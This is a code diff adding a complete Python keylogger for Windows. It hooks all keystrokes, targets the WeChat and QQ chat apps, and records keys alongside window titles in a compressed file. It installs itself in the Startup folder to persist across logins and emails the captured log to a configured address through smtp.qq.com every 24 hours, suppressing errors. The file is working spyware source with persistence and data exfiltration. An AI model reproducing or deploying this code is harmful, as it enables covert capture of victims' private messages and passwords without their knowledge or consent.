1+ import os
2+ import struct
3+ import zlib
4+ import time
5+ from collections import defaultdict
6+ import keyboard
7+ import psutil
8+ import win32gui
9+ import win32process
10+ import smtplib
11+ from email .mime .text import MIMEText
12+ from email .mime .multipart import MIMEMultipart
13+ from email .mime .base import MIMEBase
14+ from email import encoders
15+ import threading
16+ import queue
17+ import atexit
18+
19+ # Configuration
20+ TARGET_APPS = ["WeChat" , "QQ" ] # Modify for easier testing, e.g., Notepad
21+ from_addr = "your_email@example.com"
22+ to_addr = "recipient_email@example.com"
23+ password = "your_email_password_or_smtp_token"
24+ compressed_file = "D:\\ key_data.bin"
25+ interval_time = 86400 # 24 hours in seconds
26+
27+ # Global variables
28+ current_window_title = None
29+ key_buffer = {}
30+ MERGE_INTERVAL = 5 # 5 seconds merge interval
31+ is_target_app_active = False
32+ current_app_name = "Unknown"
33+ data_queue = queue .Queue ()
34+ save_queue = queue .Queue ()
35+ email_queue = queue .Queue ()
36+ window_check_interval = 0.1
37+ process_update_interval = 0.5
38+ app_pids = defaultdict (list )
39+
40+ # 自启动功能
41+ def enable_startup ():
42+ startup_dir = os .path .join (os .getenv ('APPDATA' ), r'Microsoft\Windows\Start Menu\Programs\Startup' )
43+ script_name = os .path .basename (__file__ )
44+ script_path = os .path .join (os .getcwd (), script_name )
45+ startup_path = os .path .join (startup_dir , script_name )
46+
47+ if not os .path .exists (startup_path ):
48+ with open (startup_path , 'w' ) as file :
49+ file .write (f'"{ script_path } "' )
50+
51+ # 发送邮件功能
52+ def send_email (subject , attachment_path ):
53+ msg = MIMEMultipart ()
54+ msg ['From' ] = from_addr
55+ msg ['To' ] = to_addr
56+ msg ['Subject' ] = subject
57+
58+ with open (attachment_path , "rb" ) as attachment :
59+ part = MIMEBase ("application" , "octet-stream" )
60+ part .set_payload (attachment .read ())
61+
62+ encoders .encode_base64 (part )
63+ part .add_header ("Content-Disposition" , f"attachment; filename= { os .path .basename (attachment_path )} " )
64+ msg .attach (part )
65+
66+ try :
67+ server = smtplib .SMTP_SSL ('smtp.qq.com' , 465 )
68+ server .login (from_addr , password )
69+ server .sendmail (from_addr , to_addr , msg .as_string ())
70+ server .close ()
71+ except Exception as e :
72+ pass
73+
74+ def email_thread ():
75+ while True :
76+ try :
77+ subject , attachment_path = email_queue .get ()
78+ send_email (subject , attachment_path )
79+ email_queue .task_done ()
80+ except Exception as e :
81+ pass
82+
83+ # 检查并发送邮件
84+ def check_and_send_email ():
85+ if os .path .exists (compressed_file ):
86+ last_mod_time = os .path .getmtime (compressed_file )
87+ current_time = time .time ()
88+ if current_time - last_mod_time > interval_time :
89+ subject = f'{ time .strftime ("%Y/%m/%d的记录" , time .localtime (last_mod_time ))} '
90+ email_queue .put ((subject , compressed_file ))
91+
92+ def save_compressed_file (app_name , window_title , key_data ):
93+ global compressed_file
94+
95+ if not key_data :
96+ return
97+
98+ existing_data = bytearray ()
99+ if os .path .exists (compressed_file ):
100+ with open (compressed_file , 'rb' ) as file :
101+ compressed_data = file .read ()
102+ if compressed_data :
103+ try :
104+ existing_data = bytearray (zlib .decompress (compressed_data ))
105+ except zlib .error :
106+ existing_data = bytearray ()
107+
108+ raw_data = existing_data
109+
110+ # Remove .exe from app_name
111+ app_name = app_name .rsplit ('.exe' , 1 )[0 ]
112+
113+ full_title = f"{ app_name } : { window_title } "
114+ for key_name , count , timestamp in key_data :
115+ raw_data .append (1 )
116+ title_bytes = full_title .encode ('utf-8' )
117+ raw_data .extend (struct .pack ('I' , len (title_bytes )))
118+ raw_data .extend (title_bytes )
119+ key_bytes = key_name .encode ('utf-8' )
120+ raw_data .extend (struct .pack ('I' , len (key_bytes )))
121+ raw_data .extend (key_bytes )
122+ raw_data .extend (struct .pack ('I' , count ))
123+ raw_data .extend (struct .pack ('<d' , timestamp ))
124+
125+ if raw_data :
126+ compressed_data = zlib .compress (bytes (raw_data ))
127+ with open (compressed_file , 'wb' ) as file :
128+ file .write (compressed_data )
129+
130+ def on_key_event (e ):
131+ global key_buffer , is_target_app_active , current_app_name , current_window_title
132+ if e .event_type == "down" :
133+ key_name = e .name
134+ current_time = time .time ()
135+
136+ if is_target_app_active or not TARGET_APPS :
137+ if key_name in key_buffer :
138+ if current_time - key_buffer [key_name ]['last_time' ] <= MERGE_INTERVAL :
139+ key_buffer [key_name ]['count' ] += 1
140+ key_buffer [key_name ]['last_time' ] = current_time
141+ else :
142+ key_buffer [key_name ] = {'count' : 1 , 'first_time' : current_time , 'last_time' : current_time }
143+ else :
144+ key_buffer [key_name ] = {'count' : 1 , 'first_time' : current_time , 'last_time' : current_time }
145+
146+ def get_process_pids (process_names ):
147+ pids = defaultdict (list )
148+ for proc in psutil .process_iter (['pid' , 'name' ]):
149+ for name in process_names :
150+ if name .lower () in proc .info ['name' ].lower ():
151+ pids [name ].append (proc .info ['pid' ])
152+ return pids
153+
154+ def get_foreground_window_info ():
155+ try :
156+ hwnd = win32gui .GetForegroundWindow ()
157+ _ , pid = win32process .GetWindowThreadProcessId (hwnd )
158+ title = win32gui .GetWindowText (hwnd )
159+ if pid <= 0 :
160+ return None , title
161+ return pid , title
162+ except Exception as e :
163+ return None , "Unknown"
164+
165+ def normalize_title (title ):
166+ return title .lstrip ('*' )
167+
168+ def is_app_active (current_app_pids ):
169+ fg_window_info = get_foreground_window_info ()
170+ if fg_window_info [0 ] is None :
171+ return False , fg_window_info [1 ], "Unknown"
172+
173+ fg_window_pid , fg_window_title = fg_window_info
174+ for app_name , pids in current_app_pids .items ():
175+ if fg_window_pid in pids :
176+ return True , normalize_title (fg_window_title ), app_name
177+
178+ try :
179+ process = psutil .Process (fg_window_pid )
180+ actual_app_name = process .name ()
181+ except psutil .NoSuchProcess :
182+ actual_app_name = "Unknown"
183+ except Exception as e :
184+ actual_app_name = "Error"
185+
186+ return False , normalize_title (fg_window_title ), actual_app_name
187+
188+ def window_checker ():
189+ global current_window_title , is_target_app_active , current_app_name , app_pids , key_buffer
190+ last_app_name = None
191+ last_window_title = None
192+
193+ while True :
194+ try :
195+ is_active , window_title , app_name = is_app_active (app_pids )
196+
197+ if is_active or not TARGET_APPS :
198+ if app_name != last_app_name or window_title != last_window_title :
199+ if last_app_name :
200+ save_queue .put (('save' , last_app_name , last_window_title , key_buffer .copy ()))
201+ key_buffer .clear ()
202+
203+ current_window_title = window_title
204+ current_app_name = app_name
205+ last_app_name = app_name
206+ last_window_title = window_title
207+ is_target_app_active = True
208+
209+ elif last_app_name :
210+ save_queue .put (('save' , last_app_name , last_window_title , key_buffer .copy ()))
211+ key_buffer .clear ()
212+ last_app_name = None
213+ last_window_title = None
214+ is_target_app_active = False
215+
216+ except Exception as e :
217+ pass
218+
219+ time .sleep (window_check_interval )
220+
221+ def save_thread ():
222+ while True :
223+ try :
224+ action , app_name , window_title , data = save_queue .get ()
225+ if action == 'save' :
226+ save_compressed_file (app_name , window_title , [(k , v ['count' ], v ['first_time' ]) for k , v in data .items ()])
227+ save_queue .task_done ()
228+ except Exception as e :
229+ pass
230+
231+ def process_updater ():
232+ global app_pids
233+ while True :
234+ new_app_pids = get_process_pids (TARGET_APPS ) if TARGET_APPS else {}
235+ if new_app_pids != app_pids :
236+ app_pids = new_app_pids
237+ time .sleep (process_update_interval )
238+
239+ def save_data_on_exit ():
240+ save_queue .put (('save' , current_app_name , current_window_title , key_buffer .copy ()))
241+ save_queue .join () # Wait for all saving tasks to complete
242+
243+ def main ():
244+ enable_startup ()
245+ check_and_send_email ()
246+
247+ keyboard .hook (on_key_event )
248+
249+ # Register the exit handler
250+ atexit .register (save_data_on_exit )
251+
252+ # Start the window checker thread
253+ window_checker_thread = threading .Thread (target = window_checker , daemon = True )
254+ window_checker_thread .start ()
255+
256+ # Start the save thread
257+ save_thread_instance = threading .Thread (target = save_thread , daemon = True )
258+ save_thread_instance .start ()
259+
260+ # Start the process updater thread
261+ process_updater_thread = threading .Thread (target = process_updater , daemon = True )
262+ process_updater_thread .start ()
263+
264+ # Start the email thread
265+ email_thread_instance = threading .Thread (target = email_thread , daemon = True )
266+ email_thread_instance .start ()
267+
268+ try :
269+ while True :
270+ time .sleep (1 )
271+ except KeyboardInterrupt :
272+ pass
273+ finally :
274+ save_data_on_exit ()
275+
276+ if __name__ == "__main__" :
277+ main ()
0 commit comments